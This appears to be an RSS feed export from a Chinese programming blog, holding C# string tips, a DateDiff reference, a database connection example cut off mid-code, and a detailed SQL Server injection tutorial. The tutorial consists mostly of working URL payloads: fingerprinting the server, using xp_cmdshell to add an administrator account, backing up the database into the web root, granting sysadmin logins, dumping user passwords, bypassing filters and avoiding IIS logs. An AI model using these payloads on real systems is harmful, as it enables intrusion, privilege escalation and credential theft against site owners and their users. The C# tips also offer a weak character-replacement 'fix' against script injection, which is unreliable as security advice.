newSystem.Text.StringBuilder("");<br/>sb.Append("中华");<br/>sb.Append("人民");<br/>sb.Append("共和国\");<br/>　　7、变量.Substring(参数1,参数2);<br/><br/>　　截取字串的一部分，参数1为左起始位数，参数2为截取几位。<br/><br/>　　如：string s1 = str.Substring(0,2);<br/><br/>　　8、取远程用户IP地址<br/><br/>Stringuser_IP=Request.ServerVariables["REMOTE_ADDR"].ToString();<br/>　　9、穿过代理服务器取远程用户真实IP地址：<br/><br/>if(Request.ServerVariables["HTTP_VIA"]!=null){<br/>stringuser_IP=Request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString();<br/>}else{<br/>stringuser_IP=Request.ServerVariables["REMOTE_ADDR"].ToString();<br/>}<br/>　　10、存取Session值<br/><br/>Session["变量"];<br/>　　如，赋值：<br/><br/>Session["username"]="小布什";<br/>　　取值：<br/><br/>Object objName=Session["username"];<br/>String strName=objName.ToString();<br/>　　清空：<br/><br/>Session.RemoveAll();<br/>　　11、用超链接传送变量<br/><br/>String str=Request.QueryString["变量"];<br/>　　如在任一页中建超链接:＜ahref=Edit.aspx?fbid=23＞点击＜/a＞<br/><br/>　　在Edit.aspx页中取值：Stringstr=Request.QueryString["fdid"];<br/><br/>　　12、创建XML文档新节点<br/><br/>　　DOC对象.CreateElement("新建节点名\");<br/><br/>　　13、将新建的子节点加到XML文档父节点下<br/><br/>　　父节点.AppendChild(子节点)；<br/><br/>　　14、 删除节点<br/><br/>　　父节点.RemoveChild(节点);<br/><br/>　　15、向页面输出：Response<br/><br/>Response.Write("字串")；<br/>Response.Write(变量)；<br/>　　跳转到URL指定的页面：<br/><br/>Response.Redirect("URL地址"）；<br/>　　16、查指定位置是否空字符<br/><br/>char.IsWhiteSpce(字串变量，位数)——逻辑型； 　　<br/>　　如：<br/><br/>string str="中国 人民";<br/>Response.Write(char.IsWhiteSpace(str,2)); //结果为：True,第一个字符是0位，2是第三个字符。<br/>　　17、查字符是否是标点符号<br/><br/>char.IsPunctuation(&#39;字符&#39;) --逻辑型<br/>　　如：<br/><br/>Response.Write(char.IsPunctuation(&#39;A&#39;)); //返回：False<br/>　　18、把字符转为数字，查代码点，注意是单引号。<br/><br/>　　(int)&#39;字符&#39;<br/><br/>　　如：<br/><br/>Response.Write((int)&#39;中\&#39;); //结果为中字的代码：20013<br/>　　19、把数字转为字符，查代码代表的字符：(char)代码<br/><br/>　　如：<br/><br/>Response.Write((char)22269); //返回“国”字。<br/>　　20、 清除字串前后空格: Trim()<br/><br/>　　21、字串替换<br/><br/>　　字串变量.Replace("子字串\","替换为\")<br/><br/>　　如：<br/><br/>string str="中国";<br/>str=str.Replace("国\","央\"); //将国字换为央字<br/>Response.Write(str); //输出结果为“中央”<br/>　　再如：（这个非常实用）<br/><br/>string str="这是＜script＞脚本\";<br/>str=str.Replace("＜\","＜font＞＜＜/font＞\");//将左尖括号替换为＜font＞ 与 ＜ 与 ＜/font＞（或换为＜，但估计经XML存诸后，再提出仍会还原）<br/>Response.Write(str); //显示为：“这是＜script＞脚本”<br/>　　如果不替换，＜script＞将不显示，如果是一段脚本，将运行；而替换后，脚本将不运行。<br/><br/>　　这段代码的价值在于：你可以让一个文本中的所有HTML标签失效，全部显示出来，保护你的具有交互性的站点。<br/><br/>　　具体实现：将你的表单提交按钮脚本加上下面代码：<br/><br/>string strSubmit=label1.Text;//label1是你让用户提交数据的控件ID。<br/>strSubmit=strSubmit.Replace("＜\","＜font＞＜＜/font＞\");<br/>　　然后保存或输出strSubmit。<br/><br/>　　用此方法还可以简单实现UBB代码。<br/><br/>　　22、取i与j中的最大值：Math.Max(i,j)<br/><br/>　　如 int x=Math.Max(5,10); // x将取值 10<br/><br/>　　加一点吧 23、字串对比......<br/><br/>　　23、字串对比一般都用: if(str1==str2){ } , 但还有别的方法:<br/><br/>　　(1)、<br/><br/>string str1; str2<br/>//语法: str1.EndsWith(str2);__检测字串str1是否以字串str2结尾,返回布尔值.如:<br/>if(str1.EndsWith(str2)){Response.Write("字串str1是以"+str2+"结束的\"); }<br/>　　(2)、<br/><br/>//语法:str1.Equals(str2);__检测字串str1是否与字串str2相等,返回布尔值,用法同上.<br/>　　(3)、<br/><br/>//语法 Equals(str1,str2);__检测字串str1是否与字串str2相等,返回布尔值,用法同上.<br/>　　24、查找字串中指定字符或字串首次（最后一次）出现的位置,返回索引值：IndexOf()、LastIndexOf()， 如：<br/><br/>str1.IndexOf("字\")； //查找“字”在str1中的索引值（位置）<br/>str1.IndexOf("字串")；//查找“字串”的第一个字符在str1中的索引值（位置）<br/>str1.IndexOf("字串",3,2)；//从str1第4个字符起，查找2个字符，查找“字串”的第一个字符在str1中的索引值（位置）<br/>　　25、在字串中指定索引位插入指定字符：Insert() ，如：<br/><br/>str1.Insert(1,"字\");在str1的第二个字符处插入“字”，如果str1="中国"，插入后为“中字国”；<br/>　　26、在字串左（或右）加空格或指定char字符，使字串达到指定长度：PadLeft()、PadRight()，如：<br/><br/>＜%<br/>string str1="中国人\";<br/>str1=str1.PadLeft(10,&#39;1&#39;); //无第二参数为加空格<br/>Response.Write(str1); //结果为“1111111中国人” ， 字串长为10<br/>%＞<br/>　　27、从指定位置开始删除指定数的字符：Remove()<br/><br/>　　28.反转整个一维Array中元素的顺序。<br/><br/>har[] charArray = "abcde".ToCharArray();<br/>Array.Reverse(charArray);<br/>Console.WriteLine(new string(charArray));<br/>　　29.判断一个字符串中的第n个字符是否是大写<br/><br/>string str="abcEEDddd";<br/>Response.Write(Char.IsUpper(str,3));</DIV>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/5.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=5</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=5&amp;key=20dd26b1</trackback:ping></item><item><title>DateDiff函数的使用</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/44.htm</link><pubDate>Thu, 01 Jan 2004 00:00:00 +0800</pubDate><guid>http://www.myjsy.com/Article/44.htm</guid><description><![CDATA[<DIV><P><FONT FACE="Courier New">DateDiff函数</FONT></P><P><FONT FACE="Courier New">返回 Variant (Long)的值，表示两个指定日期间的时间间隔数目。</FONT></P><P><FONT FACE="Courier New">语法</FONT></P><P><FONT FACE="Courier New">DateDiff(interval, date1, date2[,firstdayofweek[, firstweekofyear]])</FONT></P><P><FONT FACE="Courier New">DateDiff函数语法中有下列命名参数：</FONT></P><P><FONT FACE="Courier New">部分 描述<br/>interval 必要。字符串表达式，表示用来计算date1 和 date2的时间差的时间间隔<br/>Date1□date2 必要；Variant (Date)。计算中要用到的两个日期。<br/>Firstdayofweek可选。指定一个星期的第一天的常数。如果未予指定，则以星期日为第一天。<br/>firstweekofyear可选。指定一年的第一周的常数。如果未予指定，则以包含 1 月 1日的星期为第一周。</FONT></P><P><FONT FACE="Courier New"><br/>设置</FONT></P><P>interval 参数的设定值如下：</P><P>设置 描述<br/>yyyy 年<br/>q 季<br/>m 月<br/>y 一年的日数<br/>d 日<br/>w 一周的日数<br/>ww 周<br/>h 时<br/>n 分钟<br/>s 秒</P><P><br/>firstdayofweek 参数的设定值如下：</P><P>常数 值 描述<br/>vbUseSystem 0 使用 NLS API 设置。<br/>vbSunday 1 星期日（缺省值）<br/>vbMonday 2 星期一<br/>vbTuesday 3 星期二<br/>vbWednesday 4 星期三<br/>vbThursday 5 星期四<br/>vbFriday 6 星期五<br/>vbSaturday 7 星期六</P><P>常数 值 描述<br/>vbUseSystem 0 用 NLS API 设置。<br/>vbFirstJan1 1 从包含 1 月 1 日的星期开始（缺省值）。<br/>vbFirstFourDays 2 从第一个其大半个星期在新的一年的一周开始。<br/>vbFirstFullWeek 3 从第一个无跨年度的星期开始。</P><P><br/>说明</P><P>DateDiff函数可用来决定两个日期之间所指定的时间间隔数目。例如，可以使用DateDiff来计算两个日期之间相隔几日，或计算从今天起到年底还有多少个星期。</P><P>为了计算 date1 与 date2 相差的日数，可以使用“一年的日数”(y)或“日”(d)。当 interval 是“一周的日数”(w) 时，DateDiff返回两日期间的周数。如果 date1 是星期一，DateDiff 计算到 date2为止的星期一的个数。这个数包含 date2 但不包含 date1。不过，如果interval 是“周”(ww)，则 DateDiff函数返回两日期间的“日历周”数。由计算 date1 与 date2之间星期日的个数而得。如果 date2 刚好是星期日，则 date2 也会被加进DateDiff 的计数结果中；但不论 date1是否为星期日，都不将它算进去。</P><P>如果 date1 比 date2 来得晚，则 DateDiff 函数的返回值为负数。</P><P>firstdayofweek 参数会影响使用时间间隔符号 “W” 或 “WW”计算的结果。</P><P>如果 date1 或 date2是日期文字，则指定的年份成为该日期的固定部分。但是，如果 date1 或date2 用双引号 (" ") 括起来，且年份略而不提，则在每次计算表达式date1 或 date2时，当前年份都会插入到代码之中。这样就可以书写适用于不同年份的程序代码。</P><P>在计算 12 月 31 日和来年的 1 月 1 日的年份差时，DateDiff 返回 1表示相差一个年份，虽然实际上只相差一天而已。</P></DIV>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/44.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=44</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=44&amp;key=aa0ed9f4</trackback:ping></item><item><title>基于SQL Server的WEB应用程序注入攻击详细介绍</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/27.htm</link><pubDate>Thu, 01 Jan 2004 00:00:00 +0800</pubDate><guid>http://www.myjsy.com/Article/27.htm</guid><description><![CDATA[<DIV>随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL注入(SQLInjection)。<br/><br/>SQL注入攻击是一个常规性的攻击，它可以允许一些不法用户检索你的数据，改变服务器的设置，或者在你不小心的时候黑掉你的服务器。SQL注入攻击不是SQLServer问题，而是不适当的程序。如果你想要运行这些程序的话，你必须明白这冒着一定的风险。<br/><br/><br/><br/>一、原理<br/><br/>了解SQL注入之前先要了解一些基本的B/S模式应用程序的知识，以及浏览器与服务器交互的相关知识。根据国情，国内的网站用ASPAccess或SQL Server的占70%以上，PHPMySQL占20%，其他的不足10%。对于ASP SQLServer的应用程序结构，一个ASP程序实际上是SQLServer的一个客户端，它需要一个合法的SQL登录名和密码去连接SQLServer数据库。下面一段代码是典型的在ASP中连接SQLSERVER的例子：<br/><br/>&lt;%rServer="IBM-WEB-01" &#39;设置SQL SERVER服务器地址<br/><br/>rUid="webuser" &#39;设置SQL SERVER登录名<br/><br/>rPwd="xxxxxxxxf" &#39;设置SQL SERVER登录密码<br/><br/>rDatabase="sitelog" &#39;设置SQL SERVER数据库名<br/><br/>set conn=Server.CreateObject("ADODB.Connection")<br/><br/>strconn="driver={sql server};server=" &amp; rServer &amp; ";uid="&amp; rUid &amp; ";pwd=" &amp; rPWD &amp; ";database=" &amp;rDatabase<br/><br/>conn.open strconn%&gt;<br/><br/><br/>SQL 注入的脆弱点发生在程序开发员构造一个WHERE子句伴随着用户的输入的时候。比如，下面列出一个简单的ASP程序article_show.asp，它的功能是跟据GET获得的参数ID显示数据库info_article表中相应ID值的文章内容。<br/><br/>&lt;%strID=Trim(Request.QueryString("ID"))<br/><br/>strSQL="select * from info_article where ID=" &amp; strID<br/><br/>set rs=server.CreateObject("ADODB.Recordset")<br/><br/>rs.open strSQL,conn,1,3%&gt;<br/><br/>&lt;table width="100%" border="0" cellpadding="10" cellspacing="1"class="table1"&gt;<br/><br/>&lt;tr class="trtitle"&gt;<br/><br/>&lt;td&gt;&lt;divalign="center"&gt;&lt;%=rs("title")%&gt;&lt;br&gt;&lt;/div&gt;&lt;/td&gt;<br/><br/>&lt;/tr&gt;<br/><br/>&lt;tr class="trcontent"&gt;<br/><br/>&lt;td&gt;&lt;%=rs("content")%&gt;&lt;/td&gt;<br/><br/>&lt;/tr&gt;<br/><br/>&lt;/table&gt;<br/><br/><br/>请注意strSQL="select * from info_article where ID=" &amp;strID这一句。实际运行时，客户端应当使用类似http://www.abc.com/article_show.asp?ID=12这样的URL访问此ASP程序，当ID为数字12时，strID的值为字符型“12”，VBScript中“&amp;”运算符可以连接任意类型的数据，经过&amp;的连接后，可以得到strSQL字串的值：select* from info_article whereID=12，可以看出这是一个正常的SQL语句。VBScript是一种弱类型语言，不需声明变量的类型（甚至不需声明变量），这有时会给编程者带来方便，但也容易在编程过程中产生不少可被利用的漏洞。正由于在此程序中没有限定变量strID的类型，因而使这个程序存在SQL注入的漏洞。<br/><br/>二、测试<br/><br/>现在试着在浏览器中输入下面的URL“http://www.abc.com/article_show.asp?ID=12’”，此时类比上面的介绍得到strSQL字串的值为：select* from info_article where ID=12’，这在SQLServer中是一句非法的查询语句。这时服务器将返回如下的错误：<br/><br/>Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e14&#39;<br/><br/>[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 &#39;&#39;之前有未闭合的引号。<br/><br/><br/>出现这种错误就已经说明这个网站百分百可以进行注入攻击了。<br/><br/>有些时候服务器显示“处理URL时服务器上出错”是因为IIS设置中关闭了向客户端发送详细出错信息，这时不一定不能注入，但相对来讲困难极大，只能碰运气了。<br/><br/>有些时候服务器显示的内容还是ID=12的内容，没有任何出错信息，这可能是开发者过滤掉了单引号，可以使用下面的方法进行尝试：“article_show.asp?ID=12and 1=2”，此时如果出现下面的错误，还是有可能进行注入的。<br/><br/>错误 &#39;80020009&#39;<br/><br/>发生意外。<br/><br/><br/>注意：出现下面的错误信息时肯定无法完成注入：<br/><br/>Microsoft VBScript 运行时错误 错误 &#39;800a000d&#39;<br/><br/>类型不匹配: &#39;cint&#39;<br/><br/><br/><br/><br/>Microsoft VBScript 运行时错误 错误 &#39;800a000d&#39;<br/><br/>类型不匹配: &#39;clng&#39;<br/><br/><br/><br/><br/>Microsoft VBScript 运行时错误 错误 &#39;800a000d&#39;<br/><br/>类型不匹配: &#39;cdbl&#39;<br/><br/><br/><br/><br/>Microsoft VBScript 运行时错误 错误 &#39;800a000d&#39;<br/><br/>类型不匹配: &#39;c&#39;<br/><br/><br/><br/><br/>非法的参数值。<br/><br/><br/><br/><br/>请输入正确的参数值。<br/><br/><br/>ADODB.Parameter error &#39;800a0d5d&#39;<br/><br/>Application uses a value of the wrong type for the currentoperation.<br/><br/><br/><br/><br/><br/>三、搜集信息<br/><br/>确定可以实施注入攻击后，可以使用下面的方法对服务器进行测试。<br/><br/><br/><br/>测试SQL Server版本：<br/><br/>article_show.asp?ID=(SELECT @@VERSION)<br/><br/>Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e07&#39;<br/><br/>[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值\&#39;Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 200214:22:05 Copyright (c) 1988-2003 Microsoft Corporation EnterpriseEdition on Windows NT 5.0 (Build 2195: Service Pack 4) &#39;转换为数据类型为 int 的列时发生语法错误。<br/><br/><br/><br/><br/>测试SQL Server当前的登录用户名：<br/><br/>article_show.asp?ID=(USER_NAME())<br/><br/>Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e07&#39;<br/><br/>[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值\&#39;webuser&#39; 转换为数据类型为 int 的列时发生语法错误。<br/><br/><br/>注意：如果是以sa登录的在这里将显示dbo。<br/><br/><br/><br/>测试SQL Server当前使用的数据库名称：<br/><br/>article_show.asp?ID=(DB_NAME())<br/><br/>Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e07&#39;<br/><br/>[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值\&#39;sitelog&#39; 转换为数据类型为 int 的列时发生语法错误。<br/><br/><br/><br/><br/>测试当前用户是否为“sysadmin”组成员<br/><br/>SELECTIS_SRVROLEMEMBER(&#39;sysadmin&#39;)这句SQL语句可用来测试当前登录的用户是否为sysadmin的服务器角色，如果是将返回值1，不是的话返回值0。这里要将其转变为字符型数据才能看到具体数值。因此写下面的URL：（其中char(115)为字符’s’，为加号( )的UTF-8编码。）<br/><br/>article_show.asp?ID=(SELECT CHAR(115)CAST(IS_SRVROLEMEMBER(&#39;sysadmin&#39;) AS VARCHAR(2)))<br/><br/>Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e07&#39;<br/><br/>[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 &#39;s0&#39;转换为数据类型为 int 的列时发生语法错误。<br/><br/><br/>如果显示s0则不是’sysadmin’组成员，如果是’1’是’sysadmin’组成员。<br/><br/><br/><br/>测试当前用户是否为“db_owner”组成员。<br/><br/>article_show.asp?ID=(SELECT CHAR(115) CAST(IS_MEMBER(&#39;db_owner&#39;) ASVARCHAR(2)))<br/><br/>Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e07&#39;<br/><br/>[Microsoft][ODBC SQLServer Driver][SQL Server]将 varchar 值 &#39;s1&#39;转换为数据类型为 int 的列时发生语法错误。<br/><br/><br/><br/><br/>至此已经获取了许多有价值的信息。如果测试出当前用户为sysadmin组成员的话，有很大的可能性可以在这台SQLServer上运行cmdshell。如果是db_owner则可以对当前连接的数据库进行任意的操作，如新建表、删除表、插入数据、读取数据等等。<br/><br/><br/><br/>四、sysadmin权限的用户可进行的操作<br/><br/>注：以下不再详细介绍服务器的出错信息，只列出可用的SQL语句。<br/><br/>添加一个NT用户：<br/><br/>article_show.asp?ID=12;EXEC master..xp_cmdshell "net user namepassword /add"--<br/><br/>将该用户添加到administrators组<br/><br/>article_show.asp?ID=12;EXEC master..xp_cmdshell "net localgroupname administrators /add"--<br/><br/>将数据库做一个完整的备份放在网站目录下供下载：<br/><br/>article_show.asp?ID=12;BACKUP DATABASE 数据库名 toDISK=&#39;c:\Inetpub\wwwroot\1.db&#39;;--<br/><br/>添加一个SQL Server登录：<br/><br/>article_show.asp?ID=12;EXEC sp_addlogin &#39;uname&#39;,&#39;pwd&#39;--<br/><br/>将该登录添加为db_owner角色：<br/><br/>article_show.asp?ID=12;EXEC sp_adduser&#39;uname&#39;,&#39;登录名\&#39;,&#39;db_owner&#39;--<br/><br/>将该登录添加为sysadmin固定服务器角色：<br/><br/>article_show.asp?ID=12;EXEC sp_addsrvrolemember&#39;uname&#39;,&#39;sysadmin&#39;--<br/><br/><br/><br/>相反操作：<br/><br/>将该登录从sysadmin固定服务器角色中删除：<br/><br/>article_show.asp?ID=12;EXEC sp_dropsrvrolemember&#39;uname&#39;,&#39;sysadmin&#39;--<br/><br/>将该登录从db_owner角色中删除：<br/><br/>article_show.asp?ID=12;EXEC sp_dropuser &#39;uname&#39;<br/><br/>删除该登录：<br/><br/>article_show.asp?ID=12;EXEC sp_droplogin &#39;uname&#39;<br/><br/><br/><br/>以上操作一般服务器会出现下面的出信息或者正常显示ID=12的网页：<br/><br/>错误 &#39;80020009&#39;<br/><br/>发生意外。<br/><br/><br/><br/><br/><br/><br/>五、普通权限用户可进行的操作：<br/><br/>普通用户不能使用第四节中列出的命令，但仍可读出数据库中所有的数据。<br/><br/>使用下面的语句列出数据库中第一个表的名称：<br/><br/>article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE=&#39;U&#39; AND STATUS&gt;0 AND NAME NOT IN(&#39;&#39;))<br/><br/>得到第一个表名为info_files后，用下面语句得到第二个表名：<br/><br/>article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE=&#39;U&#39; AND STATUS&gt;0 AND NAME NOT IN(&#39;info_files&#39;))<br/><br/>得到第二个表名为info_articles后，用下面语句得到第三个表名：<br/><br/>article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE=&#39;U&#39; AND STATUS&gt;0 AND NAME NOTIN(&#39;info_files&#39;,&#39;info_articles&#39;))<br/><br/>假设得到第三个表名为info_users<br/><br/>使用下面语句得到info_users表中第一个字段的名称：<br/><br/>article_show.asp?ID=(SELECTCOL_NAME(OBJECT_ID(&#39;info_users&#39;),1)<br/><br/>使用下面语句得到info_users表中第二个字段名称：<br/><br/>article_show.asp?ID=(SELECTCOL_NAME(OBJECT_ID(&#39;info_users&#39;),2)<br/><br/>假设得到info_users表的结构为ID,username,password，那么，使用下面的语句得到第一个记录的username值：<br/><br/>article_show.asp?ID=(SELECT TOP 1 username FROM info_users)<br/><br/>使用下面语句得到第一个记录的password值：<br/><br/>article_show.asp?ID=(SELECT TOP 1 password FROM info_users)<br/><br/>使用下面的语句得到第一个记录的ID值：<br/><br/>article_show.asp?ID=(SELECT TOP 1 CHAR(115) CAST(ID AS VARCHAR(2))FROM info_users)<br/><br/><br/><br/>六、附加说明<br/><br/>也有很多开发者用过滤’号的方法来“防止”注入漏洞，但还是可以利用相关的函数，达到绕过程序限制的目的。举个例子来看看怎么改造这些语句：<br/><br/>简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用wherextype=char(85)代替；如果字符是中文的，比如wherename=’用户’，可以用where name=nchar(29992)nchar(25143)代替。<br/><br/>有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。<br/><br/>在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。<br/><br/>特别注意：地址栏的 号传入程序后解释为空格， 解释为号，%解释为%号，具体可以参考URLEncode的相关介绍。<br/><br/>用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。<br/><br/>SQLServer的注入攻击绝非仅限上面介绍的这些，可以用自己的方法构成很多巧妙的SQL语句得到想要的信息。安装SQLServer后可以查阅“SQL Server联机从书”，这里能够找到SQLServer所有的语句、函数、系统存储过程和安全性方面的文档，是非常好的参考资料。<br/></DIV>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/27.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=27</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=27&amp;key=035ddb71</trackback:ping></item><item><title>一个C#连接数据库的例子，使用数据集</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/25.htm</link><pubDate>Thu, 01 Jan 2004 00:00:00 +0800</pubDate><guid>http://www.myjsy.com/Article/25.htm</guid><description><![CDATA[<DIV><P><FONT FACE="宋体">namespace databaseprectice<br/>{<br/>&nbsp;&nbsp;&nbsp; publicpartial class Form1 : Form<br/>&nbsp;&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public Form1()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InitializeComponent();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//定义filldata函数,传入参数M为要取的表明,实现的功能是遍历表的数据并以文本方式写入richtextbox<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private void filldata(string m)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//先清空文本框<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.Text = "";<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//遍历字段名并加入文本框<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(int i=1;i&lt;mydataset.Tables[m].Columns.Count;i++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.Text +=mydataset.Tables[m].Columns[i].ColumnName+"\t";<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.Text += "\n\n";<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//遍历每一行数据<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (int i = 0; i &lt; mydataset.Tables[m].Rows.Count; i++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//遍历每一行数据的每一列<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (int j = 0; j &lt; mydataset.Tables[m].Columns.Count;j++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.Text += mydataset.Tables[m].Rows[i][j]+"\t";<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.Text += "\n";<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//定义oledb链接conn<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OleDbConnection conn;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//定义数据适配器myadapter<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OleDbDataAdapter myadapter;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//定义数据集mydataset并进行实例化<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DataSet mydataset = new DataSet();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//表单载入事件<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private void Form1_Load(object sender, EventArgs e)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//实例化链接conn<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn = new OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;DataSource=myoffice.mdb");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//下面读取用户表存入数据集<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myadapter = new OleDbDataAdapter("select * fromuserinf",conn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myadapter.Fill(mydataset, "用户表\");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//下面读取工作调动表存入数据集<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myadapter = new OleDbDataAdapter("select * 